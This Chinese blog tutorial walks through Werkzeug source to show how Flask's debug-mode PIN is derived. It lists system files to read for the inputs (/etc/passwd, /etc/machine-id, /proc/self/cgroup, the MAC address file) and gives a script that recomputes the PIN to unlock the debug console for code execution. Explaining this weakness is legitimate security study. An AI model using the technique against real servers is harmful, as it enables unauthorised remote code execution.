Akiba's blog Akiba's blog
首页
  • web

    • PHP
    • Python
    • JavaScript
  • misc

    • 隐写
  • 比赛
  • 网站
  • 资源
  • 分类
  • 标签
  • 归档
关于

Kagami

萌新 Web 手,菜鸡一个
首页
  • web

    • PHP
    • Python
    • JavaScript
  • misc

    • 隐写
  • 比赛
  • 网站
  • 资源
  • 分类
  • 标签
  • 归档
关于
  • Web

    • 各种弹shell
    • XML外部实体注入从入门到入土
    • PHP

    • JavaScript

    • Python

      • Flask渗透01:debug模式中的RCE
        • flask中的debug模式导致的执行任意代码
          • 概述
          • 漏洞产生分析
          • PIN码生成
    • sql注入

  • Misc

  • JavaScript文章

  • Vue文章

  • 代码审计

  • 知识库
  • Web
  • Python
Kagami
2021-07-22

Flask渗透01:debug模式中的RCE

# flask中的debug模式导致的执行任意代码

原理:debug模式需要验证pin,而pin的生成算法并非随机,根据几个值可以人工计算出来

# 概述

我们先写一个显然有问题的程序,用来模拟可能由用户输入导致的python错误

# -*- coding: utf-8 -*-
from flask import Flask

app = Flask(__name__)

d = {
    "h": "hello world!"
}
@app.route("/<a>")
def hello(a):
    return '你好,' + d[a]


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8080, debug=True)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

1

需要pin码

3

如图所示,在debug网页中使用console是需要pin,而这个pin需要在控制台查看

# 漏洞产生分析

4

下断点

5

F7进入函数,F8下一句跟着走,找到use_debugger,其中的DebuggedApplition类就是我们要找的

        self.pin_logging = pin_logging
        if pin_security:
            # Print out the pin for the debugger on standard out.
            if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
                _log("warning", " * Debugger is active!")
                if self.pin is None:
                    _log("warning", " * Debugger PIN disabled. DEBUGGER UNSECURED!")
                else:
                    _log("info", " * Debugger PIN: %s" % self.pin)
        else:
            self.pin = None
1
2
3
4
5
6
7
8
9
10
11

点进去,找到上面这段代码,可以看到是和打印pin一样的,这里self.pin就是我们需要的

    @property
    def pin(self):
        if not hasattr(self, "_pin"):
            self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
        return self._pin

    @pin.setter
    def pin(self, value):
        self._pin = value

    @property
    def pin_cookie_name(self):
        """The name of the pin cookie."""
        if not hasattr(self, "_pin_cookie"):
            self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
        return self._pin_cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

相关代码可以看到都调用了get_pin_and_cookie_name这个函数

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

该函数如上所示。

从return rv, cookie_name 知道我们需要跟踪的是rv的变化

    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

首先是读了一波环境变量,并且检查是否是正确的pin,如果设置了并且是合规的pin则在rv直接使用该值。

    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

然后再对 probably_public_bits 和 private_bits 列表的元素进行 md5.update将每次字符串拼接,相当于对 probably_public_bits、private_bits 的所有元素加上 cookiesalt 和 pinsalt 字符串进行拼接一个长字符串,对这个长字符串进行md5加密,生成一个MD5加密的值,取前9位,赋值给num。

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
1
2
3
4
5
6
7
8
9
10

最后将 num 的九位数的值分割成3个三位数,再用-连接3个三位数拼接,赋值给 rv,这个 rv 就是 PIN 的值。

而probably_public_bits 和 private_bits的生成来源于

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]
    private_bits = [str(uuid.getnode()), get_machine_id()]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  • username 启动flask进程的用户名
  • modname 一般来说是flask
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
  • getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在debug页面找到
  • str(uuid.getnode()) 是网卡 MAC 地址的十进制表达式
  • get_machine_id() 获取系统 id
def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                wr = None

        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")

                    if guid_type == wr.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except WindowsError:
                pass

    _machine_id = _generate()
    return _machine_id
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77

get_machine_id()中可以得知这里对linux、os、window的3种系统的获取方法。

# PIN码生成

根据上面的,我们可以知道需要获取这些东西

  • [ ] username 需要获取
  • [x] modname
  • [x] getattr(app, '__name__', getattr(app.__class__, '__name__'))
  • [x] getattr(mod, '__file__', None)
  • [ ] str(uuid.getnode())
  • [ ] machine_id
  1. username 读取 /etc/password
  2. modname 一般为 flask.app
  3. getattr(app, '__name__', getattr(app.__class__, '__name__')) 就是 Flask
  4. getattr(mod, '__file__', None) flask 库下 app.py 的绝对路径。在报错信息中可以获取此值
  5. 当前网络的mac地址的十进制数。通过文件 /sys/class/net/eth0/address 读取
  6. 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i ,有的系统没有这两个文件。 对于docker机则读取 /proc/self/cgroup ,其中第一行的 /docker/ 字符串后面的内容作为机器的id

生成脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410393282',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1834da85a17efb2029d4a9c8e8f71fe40a96862055c636788c9835665e8e3359'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
上次更新: 2021/07/22, 20:33:43
javascript的一些诡异特性
报错注入

← javascript的一些诡异特性 报错注入→

Theme by Vdoing | Copyright © 2020-2021 秋葉
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式